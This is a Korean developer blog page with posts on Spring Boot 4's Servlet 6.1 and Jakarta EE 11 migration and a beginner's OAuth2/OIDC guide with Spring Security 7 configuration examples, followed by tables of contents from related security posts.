Spring Boot는 내부적으로 Tomcat, Jetty 같은 내장 웹 서버(Embedded Container)를 사용합니다. 이 웹 서버들이 바로 Servlet 컨테이너인데요, Spring Boot 버전이 올라갈 때마다 요구하는 Servlet 버전도 함께 올라갑니다.

버전별 매핑 한눈에 보기

Spring Boot	Spring Framework	최소 Servlet	Jakarta EE	지원 컨테이너
1.x ~ 2.0.x	4.x ~ 5.x	3.0	Java EE 7/8	Tomcat 7/8, Jetty 8/9
2.1.x ~ 2.7.x	5.1.x ~ 5.3.x	3.1	Java EE 8	Tomcat 9/10
3.0.x ~ 3.3.x	6.0.x ~ 6.1.x	6.0	Jakarta EE 10	Tomcat 10.1 (Java 17+)
4.0+	7.0+	6.1	Jakarta EE 11	Tomcat 11, Jetty 12

보시다시피 Spring Boot 4는 Spring Framework 7과 함께 Servlet 6.1을 기반으로 합니다. 이는 단순한 버전업이 아니라, Jakarta EE 11이라는 새로운 플랫폼으로의 전환을 의미합니다.

Servlet의 진화 과정

Servlet은 20년 넘게 꾸준히 발전해왔습니다. 주요 버전별 특징을 살펴보겠습니다.

Servlet 3.0 (2009년) - 현대화의 시작

비동기 처리 도입: 긴 작업을 처리할 때 쓰레드를 블로킹하지 않고 효율적으로 처리
어노테이션 지원: @WebServlet, @WebFilter 같은 어노테이션으로 web.xml 없이도 설정 가능
파일 업로드 개선: 멀티파트 업로드를 표준으로 지원

Servlet 3.1 (2013년) - 성능 강화

논블로킹 I/O: 네트워크 통신을 더욱 효율적으로 처리
HTTP 프로토콜 업그레이드: WebSocket 같은 새로운 프로토콜 지원
보안 강화: 더 안전한 웹 애플리케이션 개발 가능

Servlet 5.0 (2020년) - 대전환

가장 큰 변화는 패키지 이름 변경입니다:

javax.servlet → jakarta.servlet

이게 왜 중요할까요? Oracle이 Java EE를 Eclipse 재단에 기부하면서, 상표권 문제로 javax를 더 이상 사용할 수 없게 되었습니다. 그래서 모든 패키지 이름을 jakarta로 바꾼 거죠. Spring Boot 3부터 이 변화가 적용되었고, 기존 코드에서 import 문을 모두 수정해야 했습니다.

Servlet 6.0 (2022년) - 현대화

Java SE 17 기준: 최신 Java 기능 활용
모듈화 개선: 더 나은 구조화
ByteBuffer 지원: 메모리 효율적인 I/O 처리
쿠키 처리 개선: 더 유연한 쿠키 설정

Servlet 6.1 (2024년) - 안정성 강화

Spring Boot 4가 요구하는 최신 버전입니다:

SecurityManager 완전 제거
- 오래된 보안 메커니즘인 SecurityManager가 Java에서 deprecated 되면서 Servlet에서도 완전히 제거되었습니다
- 더 이상 사용하지 않는 코드를 정리해서 경량화
HTTP 상태 코드 및 문자 인코딩 개선
- 더 정확한 상태 코드 처리
- 다국어 처리가 더욱 정교해짐
Charset을 String 대신 직접 사용
- 문자 인코딩을 더 타입 안전하게 처리
- 실수로 잘못된 인코딩 이름을 넣는 것을 방지
ByteBuffer 지원 강화
- ServletInputStream/OutputStream에서 ByteBuffer를 직접 사용 가능
- 대용량 데이터 처리 시 성능 향상
- 비동기 I/O가 더욱 효율적으로 동작

Spring Boot 4에서의 실질적 변화

1. 지원 컨테이너 변경

사용 가능: Tomcat 11, Jetty 12
제거됨: Undertow (Servlet 6.1 미지원)

기존에 Undertow를 사용하던 프로젝트는 Tomcat이나 Jetty로 마이그레이션해야 합니다.

2. Java 17 이상 필수

Servlet 6.1이 Java 17을 기준으로 하기 때문에, Spring Boot 4도 최소 Java 17을 요구합니다. Java 8이나 11을 쓰던 프로젝트는 업그레이드가 필요합니다.

3. Hibernate 7.0 전환

Jakarta EE 11은 JPA 3.2를 포함합니다. 이에 따라 Hibernate도 7.x 버전으로 업그레이드되며, 몇 가지 주의할 점이 있습니다:

Dialect 설정 변경: 데이터베이스별 Dialect 클래스 경로나 설정 방식이 일부 변경될 수 있습니다
어노테이션 동작 변경: JPA 3.2의 새로운 기능과 개선사항이 반영되어 기존 어노테이션의 세부 동작이 달라질 수 있습니다
쿼리 최적화: Hibernate 7은 성능 개선과 함께 쿼리 생성 로직이 일부 변경되었습니다

실무에서는 마이그레이션 전 충분한 테스트, 특히 복잡한 쿼리나 커스텀 Dialect를 사용하는 경우 동작 검증이 필요합니다.

4. 가상 스레드(Virtual Threads) 기본 활성화

Spring Boot 4는 Java 21 이상 환경에서 spring.threads.virtual.enabled=true를 기본값으로 채택하는 방향입니다. 가상 스레드는 경량 스레드로, 수만 개의 동시 연결을 효율적으로 처리할 수 있습니다.

주의사항:

ThreadLocal 사용 점검: 스레드 로컬을 많이 사용하는 라이브러리(레거시 보안 필터, 일부 로깅 프레임워크 등)에서 메모리 누수가 발생할 수 있습니다
스레드 풀 설정 재검토: 기존의 스레드 풀 크기 설정이 가상 스레드 환경에서는 의미가 달라질 수 있습니다
호환성 확인: 사용 중인 서드파티 라이브러리가 가상 스레드를 지원하는지 확인이 필요합니다

5. Observability 강화

Servlet 6.1 레이어에서 발생하는 이벤트를 Micrometer가 더 세밀하게 추적합니다:

메트릭 명칭 변경: 대시보드에 표시되는 일부 메트릭 이름이 변경될 수 있어, Grafana나 Prometheus 대시보드 쿼리를 업데이트해야 할 수 있습니다
추적 정보 증가: HTTP 요청/응답에 대한 더 상세한 추적 정보가 수집됩니다
성능 오버헤드 최소화: 강화된 추적 기능에도 불구하고 성능 영향은 최소화되도록 설계되었습니다

모니터링 환경을 구축한 경우, 업그레이드 후 대시보드와 알람 설정을 재검토하는 것이 좋습니다.

6. 성능과 안정성 개선

ByteBuffer 지원이 강화되면서 특히 다음 상황에서 성능이 개선됩니다:

파일 업로드/다운로드
스트리밍 API
대용량 데이터 처리
실시간 통신

마이그레이션 체크리스트

버전 업그레이드 시 확인 사항

Java 버전 확인
- Spring Boot 4 사용 시 최소 Java 17 필요 (가상 스레드는 Java 21+)
- pom.xml 또는 build.gradle에서 Java 버전 설정 확인
의존성 패키지 확인
- javax.servlet → jakarta.servlet 변경 여부 확인
- Spring Boot 3 이상이면 이미 jakarta로 전환됨
웹 컨테이너 확인
- Undertow 사용 중이면 Tomcat이나 Jetty로 변경
- 기본 내장 Tomcat을 쓴다면 자동으로 Tomcat 11이 사용됨
데이터베이스 레이어 점검
- Hibernate Dialect 설정 확인
- JPA 쿼리 및 네이티브 쿼리 테스트
- 트랜잭션 동작 검증
가상 스레드 준비
- ThreadLocal 사용 패턴 검토
- 레거시 동기화 코드 확인
- 성능 테스트 수행
모니터링 환경 업데이트
- 메트릭 대시보드 쿼리 확인
- 알람 임계값 재조정
- 로그 포맷 변경 여부 확인
테스트 실행
- 비동기 처리 부분 테스트
- 파일 업로드/다운로드 기능 테스트
- 문자 인코딩 관련 기능 테스트
- 부하 테스트로 성능 검증

실무 관점에서의 접근

대부분의 Spring Boot 애플리케이션은 Servlet을 직접 다루지 않습니다. @RestController, @RequestMapping 같은 Spring MVC 어노테이션을 사용하죠. 하지만 내부적으로는 모두 Servlet 위에서 동작합니다.

// 일반적으로 작성하는 코드
@RestController
public class UserController {
    @GetMapping("/users")
    public List<User> getUsers() {
        return userService.findAll();
    }
}

// 내부적으로는 DispatcherServlet이 이 요청을 처리
// DispatcherServlet → Servlet 6.1 기반으로 동작

Servlet 버전이 올라가면서 이런 내부 동작이 더 빠르고 안정적으로 개선됩니다. 특히 가상 스레드와 결합되면, 동일한 하드웨어에서 훨씬 많은 동시 요청을 처리할 수 있습니다.

정리하며

Spring Boot 4의 Servlet 6.1 요구사항은 단순한 버전업이 아닙니다. Java 생태계 전체의 현대화 과정이죠:

Java EE → Jakarta EE로의 전환
오래된 코드 제거 (SecurityManager 등)
최신 Java 기능 활용 (Java 17+, 가상 스레드)
성능 개선 (ByteBuffer, 비동기 I/O)
데이터 접근 계층 현대화 (Hibernate 7.0, JPA 3.2)
운영 가시성 향상 (Observability 강화)

핵심 요약:

Spring Boot 4 = Spring Framework 7 + Servlet 6.1 + Jakarta EE 11
Java 17 최소, Java 21 권장 (가상 스레드 활용)
Hibernate 7.0 전환으로 JPA 레이어 개선
더 빠르고, 더 안정적이며, 더 관찰 가능한 애플리케이션 구축 가능

프로덕션 환경에 적용하기 전에는 충분한 테스트와 성능 검증을 거치시길 권장합니다. Spring 공식 문서와 마이그레이션 가이드를 참고하면 더 원활한 전환이 가능할 것입니다. 🚀

OAuth2 쉽게 이해하기 - 초보자를 위한 쉬운 가이드

Mon, 05 Jan 2026 15:00:00 +0900

🎯 시작하기 전에: 인증 vs 인가

보안을 이해하려면 먼저 이 두 개념을 구분해야 합니다.

인증 (Authentication) - “너 누구야?”

아파트 출입문에서 주민등록증을 확인하는 것과 같습니다.

“당신이 정말 김철수가 맞나요?”
로그인할 때 아이디/비밀번호를 입력하는 과정

인가 (Authorization) - “이거 해도 돼?”

아파트 입주민이라고 모든 집에 들어갈 수 있는 건 아니죠.

“당신은 303호만 출입 가능합니다”
로그인 후 특정 기능이나 데이터에 접근할 권한이 있는지 확인

핵심: OAuth2는 원래 인가(권한 위임)를 위한 도구입니다. 하지만 OpenID Connect를 더하면 인증(로그인)도 할 수 있습니다.

📖 이야기로 이해하는 OAuth2

상황: 당신이 사진 인쇄 서비스를 이용하려고 합니다

옛날 방식 (문제 많음):

인쇄 서비스: "구글 포토에서 사진 가져올게요. 구글 아이디랑 비밀번호 알려주세요!"
당신: "아... 여기에 내 구글 비밀번호를 줘야 하나?" 😰

문제점:

인쇄 서비스가 내 구글 계정을 마음대로 쓸 수 있어요
비밀번호를 바꾸기 전까지 계속 접근 가능해요
사진만 보면 되는데 이메일, 캘린더까지 다 볼 수 있어요

OAuth2 방식 (똑똑함):

인쇄 서비스: "구글에 로그인해서 '사진만 볼 수 있는 허가증'을 받아올게요"
당신: 구글 로그인 → "이 앱이 내 사진만 보도록 허락할래요?" 클릭
구글: "여기 임시 출입증(토큰)이요. 사진 폴더만 볼 수 있어요"

장점:

비밀번호를 알려주지 않아요
사진만 볼 수 있도록 권한을 제한해요
언제든지 허가를 취소할 수 있어요

🏗️ OAuth2의 4명의 등장인물

실제 서비스에서 이 4명이 어떻게 협력하는지 봅시다.

1. Resource Owner (자원 소유자) - 당신

구글 포토에 있는 사진의 주인
권한을 줄지 말지 결정하는 사람

2. Client (클라이언트) - 인쇄 서비스

당신의 사진을 가져오고 싶은 앱
당신 대신 구글에 접근하려는 애플리케이션

3. Authorization Server (인가 서버) - 구글 로그인 서버

당신이 정말 구글 계정 주인인지 확인
“사진 폴더 읽기 권한”이 담긴 토큰을 발급

4. Resource Server (자원 서버) - 구글 포토 API

실제 사진이 저장된 곳
토큰을 확인하고 사진을 제공

🎫 토큰의 종류

Access Token - “출입증”

"이 토큰을 가진 사람은 사진 폴더를 30일간 읽을 수 있습니다"

API를 호출할 때 사용
유효기간이 있음 (보통 1시간 ~ 1일)
Bearer Token 방식: 가진 사람이 곧 권한자

실제 사용 예시:

GET /photos/album1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

ID Token - “신분증” (OIDC에서만)

"이 사람은 user@gmail.com이고, 이름은 김철수입니다"

로그인한 사용자가 누구인지 알려줌
API 호출에는 사용하지 않음
클라이언트가 사용자 정보를 확인할 때만 사용

Refresh Token - “재발급권”

"출입증이 만료되면 이걸로 새 출입증을 받으세요"

Access Token이 만료되면 새로 받을 때 사용
유효기간이 매우 김 (보통 30일 ~ 1년)
안전하게 보관해야 함

🔑 토큰의 형식

JWT (JSON Web Token) - “자가 검증 가능한 토큰”

eyJhbGci.eyJzdWIi.SflKxwRJ
 ↑헤더    ↑내용      ↑서명

특징:

토큰 안에 정보가 모두 들어있어요
서버가 DB 조회 없이 바로 검증 가능
빠르고 효율적

예시 내용:

{
  "sub": "user123",
  "scope": "photos:read",
  "exp": 1735905600
}

장점: ⚡ 빠름, 서버 부담 적음
단점: ❌ 한 번 발급하면 취소하기 어려움

Opaque Token - “불투명한 토큰”

d4f9a8b3c2e1
(의미 없는 랜덤 문자열)

특징:

토큰만 봐서는 아무것도 모름
매번 서버에 “이 토큰 유효해?” 물어봐야 함(물어보는 과정을 ‘Introspection’이라고 불러요)
즉시 취소 가능

장점: 🔒 보안성 높음, 즉시 취소 가능
단점: 🐌 느림, 서버 부담 증가

🔄 토큰 받는 방법 (Grant Types)

1. Authorization Code - “사용자 로그인 방식”

언제 사용: 웹사이트, 모바일 앱에서 사용자 로그인

과정:

사용자: "구글로 로그인" 버튼 클릭
구글: "이 앱이 사진 보는 거 허락할래?" 물어봄
사용자: "허락" 클릭
구글: 임시 코드 발급 → 앱으로 전달
앱: 코드를 토큰으로 교환 (서버끼리 비밀 통신)

가장 안전한 방식이고, OIDC 로그인에서 표준입니다.

최근에는 보안 강화를 위해 Authorization Code 방식에 PKCE라는 보안 장치를 더하는 것이 표준(OAuth 2.1)입니다. Spring Security는 이를 자동으로 지원합니다.

2. Client Credentials - “서버 간 통신 방식”

언제 사용: 사용자 없이 서버끼리 통신 (예: 정기 데이터 동기화)

과정:

백엔드 서버: "나 정식 등록된 앱이야" + 비밀키 제출
인가 서버: "확인했어" + 토큰 발급
백엔드 서버: 토큰으로 API 호출

특징:

사용자 로그인 없음
ID Token 없음 (사용자가 없으니까)
Access Token만 받음

🌐 OpenID Connect (OIDC)

OAuth2의 한계

OAuth2만으로는 “이 사용자가 누구인지” 표준적으로 알 수 없었습니다.

OIDC = OAuth2 + 로그인

기능	OAuth2	OIDC
목적	권한 위임	로그인 + 권한 위임
토큰	Access Token	Access Token + ID Token
사용자 정보	별도 API 호출	ID Token에 포함

OIDC 사용 예:

"구글로 로그인" = OAuth2 + OIDC
→ Access Token (구글 API 호출용)
→ ID Token (사용자 정보: 이메일, 이름)

💻 Spring Security 7으로 구현하기

1. Resource Server (내 API 보호)

상황: 내가 만든 API를 토큰으로 보호하고 싶어요.

설정 (application.yml):

spring:
  security:
    oauth2:
      resourceserver:
        jwt:
          issuer-uri: https://auth.mycompany.com

Spring Security 설정:

@Configuration
public class SecurityConfig {
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/public/**").permitAll()
                .anyRequest().authenticated()
            )
            .oauth2ResourceServer(oauth2 -> oauth2
                .jwt(Customizer.withDefaults())
            );
        return http.build();
    }
}

동작:

클라이언트가 API 호출 시 토큰을 헤더에 넣어 보냄
Spring Security가 자동으로 토큰 검증
유효하면 요청 처리, 아니면 401 에러

상황: 내 서비스에 “구글로 로그인” 버튼을 넣고 싶어요.

설정 (application.yml):

spring:
  security:
    oauth2:
      client:
        registration:
          google:
            client-id: your-client-id
            client-secret: your-secret
            scope: openid, profile, email

Spring Security 설정:

@Configuration
public class SecurityConfig {
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/login").permitAll()
                .anyRequest().authenticated()
            )
            .oauth2Login(Customizer.withDefaults());
        return http.build();
    }
}

동작:

사용자가 /oauth2/authorization/google 접속
구글 로그인 페이지로 리다이렉트
로그인 후 우리 서비스로 돌아옴
Spring Security가 자동으로 세션 생성

3. Client Credentials (서버 간 통신)

상황: 내 백엔드 서버에서 다른 회사 API를 주기적으로 호출해야 해요.

설정 (application.yml):

spring:
  security:
    oauth2:
      client:
        registration:
          partner-api:
            client-id: my-app-id
            client-secret: my-secret
            authorization-grant-type: client_credentials
            scope: api:read
        provider:
          partner-api:
            token-uri: https://partner.com/oauth/token

사용 코드:

@Service
public class PartnerApiService {
    
    private final RestClient restClient;
    
    public PartnerApiService(RestClient.Builder builder) {
        this.restClient = builder
            .requestInterceptor(new OAuth2ClientHttpRequestInterceptor())
            .build();
    }
    
    public String getData() {
        // 토큰이 자동으로 헤더에 추가됨
        return restClient.get()
            .uri("https://partner.com/api/data")
            .retrieve()
            .body(String.class);
    }
}

🎓 핵심 정리

OAuth2 vs OIDC 선택 가이드

목적	사용
사용자 로그인 기능	OIDC (OAuth2 + openid scope)
제3자 API 호출 권한	OAuth2
사용자 정보 필요	OIDC (ID Token 사용)
서버 간 통신	OAuth2 (Client Credentials)

토큰 선택 가이드

상황	추천
마이크로서비스 환경	JWT (빠르고 독립적)
엄격한 보안 필요	Opaque Token (즉시 취소 가능)
외부 API 연동	상대방이 정한 방식 따르기

Spring Security 7 특징

Bean 중심 설정: 필요한 기능을 Bean으로 등록하면 자동 감지
간소화된 코드: 기본 설정만으로도 대부분 동작
RestClient 지원: 동기 방식 HTTP 클라이언트 공식 지원

❓ 자주 묻는 질문

Q: JWT가 탈취당하면 어떻게 하나요?
A: JWT는 만료 전까지 취소가 어렵습니다. 그래서 유효기간을 짧게 (1시간 이하) 설정하고, Refresh Token으로 자주 갱신하는 방식을 사용합니다. JWT 탈취가 걱정된다면, Refresh Token을 한 번만 사용 가능하게 만드는 ‘Refresh Token Rotation’ 기법을 사용하면 더욱 안전합니다.

Q: ID Token으로 API를 호출해도 되나요?
A: 안 됩니다. ID Token은 “로그인한 사용자 정보 확인”용입니다. API 호출은 반드시 Access Token을 사용하세요.

Q: OAuth2 없이 JWT만 쓰면 안 되나요?
A: 가능하지만, OAuth2를 쓰면 토큰 발급/갱신/취소 등의 표준 방식을 제공받아 더 안전하고 편리합니다.

Q: 어떤 Grant Type을 써야 하나요?

웹/모바일 로그인 → Authorization Code
서버 간 통신 → Client Credentials
기타 방식은 보안 이슈가 있어 비추천

🚀 마무리

OAuth2와 OIDC는 처음엔 복잡해 보이지만, 핵심은 간단합니다:

비밀번호를 직접 주고받지 않기
필요한 권한만 제한적으로 주기
언제든지 권한을 취소할 수 있게 하기

Spring Security 7은 이 모든 과정을 최대한 자동화해서, 개발자는 비즈니스 로직에만 집중할 수 있게 도와줍니다.

시작 팁: 먼저 Google OAuth2로 로그인 기능을 만들어보세요. spring-boot-starter-oauth2-client만 추가하고 client-id와 client-secret만 설정하면 바로 작동합니다!

codinglog

Spring Security 6에서 인증 정보가 세션에 저장되지 않는 문제

Spring Security 6에서 인증 정보가 세션에 저장되지 않는 문제

문제 상황

원인: Spring Security 6의 기본 동작 변경

formLogin은 왜 문제없을까?

수동 로그인에서 해결 방법

전체 코드 예시

SecurityContextRepository 빈 설정

정리

추가 체크 포인트

1. 쿠키 전송 확인

2. 세션 저장소

3. 분산 환경 고려

마무리

Spring Security 7.0 경로 매칭 변경 사항 정리

Spring Security 7.0 경로 매칭 변경 사항 정리

무엇이 바뀌었나?

제거된 Matcher

새롭게 추가된 Matcher

왜 바뀌었을까?

코드 수정 방법

방법 A: PathPatternRequestMatcher 사용 (권장)

방법 B: 문자열 패턴 직접 사용 (더 간결)

PathPattern 문법 주의사항

** 규칙

정리

SPA 보안 아키텍처 | 토큰을 브라우저에 두지 말아야 하는 이유 🔐

왜 SPA는 보안이 어려운가?

신뢰 경계가 무너졌다

퍼블릭 클라이언트의 딜레마

퍼블릭 클라이언트가 직면한 위협들

1. 클라이언트 사칭 (Client Impersonation)

2. 암시적 흐름(Implicit Flow)의 몰락

3. XSS: 가장 무서운 적

해결책 1: PKCE 기반 Authorization Code Flow

PKCE가 뭔데?

동작 과정

왜 안전한가?

PKCE의 한계와 리프레시 토큰 로테이션

해결책 2: BFF (Backend for Frontend) 패턴

BFF 아키텍처 이해하기

동작 흐름

BFF의 보안적 우위

XSS 완전 방어

액세스 제어 중앙화

복잡성 격리

토큰 핸들러 패턴: BFF의 경량 버전

LocalStorage vs Cookie: 끝나지 않는 논쟁

비교표로 보는 장단점

XSS vs CSRF: 무엇이 더 위험한가?

브라우저의 미래: CHIPS

권한 관리: 프론트엔드와 백엔드의 동기화

RBAC를 넘어 Permission 중심으로

효율적인 권한 JSON 구조 (CASL 스타일)

동기화 전략

결론 및 실전 권고안

핵심 요약

1. BFF 패턴 도입 (최우선 권장) 🏆

2. HttpOnly 쿠키 사용

3. PKCE 및 토큰 로테이션 (차선책)

4. 세밀한 권한 동기화

미래 전망

마무리하며

부록: 빠른 참조표

저장소 선택 가이드

SPA Security Architecture | Why You Shouldn't Store Tokens in the Browser 🔐

SPA Security Architecture: Why You Shouldn’t Store Tokens in the Browser 🔐

Why Is SPA Security So Hard?

The Trust Boundary Has Collapsed

The Public Client Dilemma

Threats Facing Public Clients

1. Client Impersonation

2. The Fall of Implicit Flow

3. XSS: The Most Dangerous Enemy

Solution 1: PKCE-based Authorization Code Flow

What Is PKCE?

How It Works

Why Is This Secure?

PKCE’s Limitations and Refresh Token Rotation

`**` 규칙